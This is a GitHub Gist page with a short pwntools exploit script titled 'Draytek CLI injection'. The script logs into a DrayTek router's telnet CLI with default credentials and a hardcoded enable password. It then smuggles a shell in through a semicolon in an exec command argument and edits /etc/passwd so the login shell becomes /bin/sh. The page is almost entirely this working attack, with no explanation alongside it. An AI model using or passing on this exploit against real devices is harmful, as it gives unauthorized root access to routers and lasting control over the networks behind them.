Created
October 8, 2024 11:47
-
-
Save q3k/46f75dd78b653369640efaa2295f7ecd to your computer and use it in GitHub Desktop.
Draytek CLI injection (probably not CVE-2024-41585?)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pwn | |
r = pwn.remote('192.168.1.1', 23) | |
r.recvuntil('Username: ') | |
r.sendline('admin') | |
r.recvuntil('Password: ') | |
r.sendline('admin') | |
r.recvuntil('vigor> ') | |
r.sendline('en') | |
r.recvuntil('Password: ') | |
r.sendline('drayteker') | |
r.recvuntil('vigor# ') | |
r.sendline('exec dot3ah_oam_rlc DSL disable;sh>&2') | |
r.recvuntil('# ') | |
r.sendline("sed -i 's,/usr/bin/draysh,/bin/sh,' /etc/passwd") | |
r.recvuntil('# ') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment